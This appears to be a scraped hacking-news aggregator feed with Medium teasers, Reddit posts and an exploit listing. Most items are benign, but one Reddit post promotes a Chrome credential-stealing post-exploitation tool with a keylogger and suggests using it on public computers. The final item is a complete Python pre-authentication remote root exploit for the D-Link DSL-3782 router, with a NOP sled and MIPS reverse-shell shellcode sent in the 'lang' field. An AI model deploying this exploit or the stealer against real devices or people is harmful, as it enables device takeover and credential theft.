KitPloit - PenTest Tools!
ELFXtract - An Automated Analysis Tool Used For Enumerating ELF Binaries

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Sahu: Vulnhub Walkthrough

https://cdn-images-1.medium.com/max/920/0*EXAkr-ENTzkJaLHe.png
Makineyi indirebilirsiniz.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
CronRAT: un nuevo malware de Linux que está programado para ejecutarse el 31 de Febrero.

https://cdn-images-1.medium.com/max/1488/0*zDGCR2yxMNsxneBy
PUBLICADO EN 26 NOVIEMBRE, 2021 POR DPAB

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Protegerse del Phishing, SMiShing y Vishing en Black Friday

https://cdn-images-1.medium.com/max/1386/0*wINgj8c0SvN77YE5
PUBLICADO EN 26 NOVIEMBRE, 2021POR DPAB

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Looking for Feedback on my Recent Hacking Project

Hi everyone!

​

I recently open-sourced a tool I'd been working on for a while at https://github.com/flancast90/ChromePE, and am looking for some more experienced hackers to give me some feedback on it.

​

Basically, the tool (written in Python using Selenium) is designed for post-exploitation use, and allows an attacker to remotely get the victim's Chrome passwords, bookmarks, downloads, and history, as well as supports redirects using a specified URL with an optional keylogger there. I have already gotten some good ideas from Discord servers, such as support returns of localStorage and cookies, but am looking for some other things to add, too.

​

Some possible use cases I can imagine are in open-systems, such as library computers, etc, where an attacker could fake a required login to say, Google, with a forced redirect, and from there get the user's password and data. Another possibility would be where an attacker could upload files to a system, or could bundle the files in a malicious download.

​

The tool is at https://github.com/flancast90/ChromePE for all of you interested, and Thank You!

submitted by /u/Muted_Original
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
To catch the boogeyman

My relationship was just destroyed after 4 years due to she and I being manipulated by an external source. For me it was YouTube music's algorithm constantly driving me to suicide and for her it was YouTube video algorithm feeding her propaganda this kept us fighting until eventually she ran off leaving me devastated. They who ever they are were pushing me into the hospital just to drug me up misdiagnose me and draw my blood for my DNA (they kept taking a lot of blood) I've had these attacks confirmed from multiple sources who experienced similar attacks. How can I start to find these bastard? Also I may have invented the first quantum crypto currency that is interdimensional so in theory you could say take your money to heaven and hell...

submitted by /u/zakkblake
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Best password cracking software

I’ve got a third-party application on my Windows PC that has password encryption. I set it up 6 months ago, and have misplaced the password. Tried going through every combination of password that I might have used to set it up, but I can’t think of it and know that it was a unique password.

The app will allow unlimited attempts to enter the password, without locking up, which is good. It just gives a pop-up message that tells you that the password is incorrect.

I’ve not had to use password cracking software in the past, so I’m trying to figure out something that will get the job done that is easy and safe to use. Any recommendations?

submitted by /u/randomdudeinFL
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
AbuseHumanDB — HackTheBox Write-Up

https://cdn-images-1.medium.com/max/600/1*Ga7Jvvhv2Q2c8I_M3k7Cew.png
En el primer post de este blog vamos a examinar un challenge de Hack The Box llamado “AbuseHumanDB” y como efectuar un Blind XS Leak+ CORS…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Career advice
https://www.reddit.com/r/Pentesting/comments/r35bkj/career_advice/

I am currently pursuing an associate's degree in cybersecurity and not sure what I want to do in the future. I think linux systems administration could be fun as I enjoy using linux and am currently studying for my linux+ exam. I am not sure if it is the right career path for me or if something else may be more suitable. I have also been doing hack the box recently which has made me think about going into red teaming. Thoughts? submitted by /u/CMDR_NEBULA (https://www.reddit.com/user/CMDR_NEBULA)
[link] (https://www.reddit.com/r/Pentesting/comments/r35bkj/career_advice/) [comments] (https://www.reddit.com/r/Pentesting/comments/r35bkj/career_advice/)

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
D-Link DSL-3782 Pre-Authentication Remote Root

https://1.bp.blogspot.com/-3PgjWVftdQ0/WWlvP-R2mXI/AAAAAAAAIM8/iBQyafDa-iYc-AHcRZlLffBv9_pWsP_-gCLcBGAs/s1600/h30.png
D-Link DSL-3782 pre-authentication remote root exploit.

MD5 | a6737ad9475fdc7acd7e5df474362dd1

Download
#!/usr/bin/python2
# preauth rece for dlink dsl-3782
# found: 06.11.2021
# pwned: 18.112021 @ 19:26
#
import sys
import urllib2 # requests
import urllib
import struct

target = 'http://192.168.0.50/index.php' # cgi-bin/ChgLang.asp'
nopsled = ""
# NOP sled (XOR $t0, $t0, $t0; as NOP is only null bytes)
for i in range(74):
nopsled += "\x41\x41\x41\x41" # 26\x40\x08\x01"
#print("nopsled len: %s" % len(nopsled))
#print(len(nopsled))
# shellcode; revshell: 272-232=?:
buf = b""
buf += b"\x27\xbd\xff\xe0\x24\x0e\xff\xfd\x01\xc0\x20\x27\x01"
buf += b"\xc0\x28\x27\x28\x06\xff\xff\x24\x02\x10\x57\x01\x01"
buf += b"\x01\x0c\x30\x50\xff\xff\x24\x0e\xff\xef\x01\xc0\x70"
buf += b"\x27\x24\x0d\xff\xfd\x01\xa0\x68\x27\x01\xcd\x68\x04"
buf += b"\x24\x0e\x27\x0f\x01\xae\x68\x25\xaf\xad\xff\xe0\xaf"
buf += b"\xa0\xff\xe4\xaf\xa0\xff\xe8\xaf\xa0\xff\xec\x02\x10"
buf += b"\x20\x25\x24\x0e\xff\xef\x01\xc0\x30\x27\x23\xa5\xff"
buf += b"\xe0\x24\x02\x10\x49\x01\x01\x01\x0c\x02\x10\x20\x25"
buf += b"\x24\x05\x01\x01\x24\x02\x10\x4e\x01\x01\x01\x0c\x02"
buf += b"\x10\x20\x25\x28\x05\xff\xff\x28\x06\xff\xff\x24\x02"
buf += b"\x10\x48\x01\x01\x01\x0c\xaf\xa2\xff\xff\x24\x11\xff"
buf += b"\xfd\x02\x20\x88\x27\x8f\xa4\xff\xff\x02\x20\x28\x21"
buf += b"\x24\x02\x0f\xdf\x01\x01\x01\x0c\x24\x10\xff\xff\x22"
buf += b"\x31\xff\xff\x16\x30\xff\xfa\x28\x06\xff\xff\x3c\x0f"
buf += b"\x2f\x2f\x35\xef\x62\x69\xaf\xaf\xff\xec\x3c\x0e\x6e"
buf += b"\x2f\x35\xce\x73\x68\xaf\xae\xff\xf0\xaf\xa0\xff\xf4"
buf += b"\x27\xa4\xff\xec\xaf\xa4\xff\xf8\xaf\xa0\xff\xfc\x27"
buf += b"\xa5\xff\xf8\x24\x02\x0f\xab\x01\x01\x01\x0c"
shellcode = buf
#shellcode = ( "D" * 276 )
ret = struct.pack(">I", 0x7fff45b0) # ;] 0x7fff4528) # 0x2abccbb0) # system(); 0x2b269fcc) # SELECT... x2accefcc) # 0x123456) # 0x42424242)
junk = "A" * 68 # 136 # 264 # (596 - len(shellcode) - len(ret)) # - len(nopsled))
###############
#payload = junk + shellcode + ret
payload = nopsled + shellcode + junk + ret

#print(len(payload))
print(payload)

data = urllib.urlencode({'lang' : payload })

sendme = urllib2.Request(target, data ) # url=target, data=post_me)

#print(sendme)

#print "DONE"

Source:packetstormsecurity.com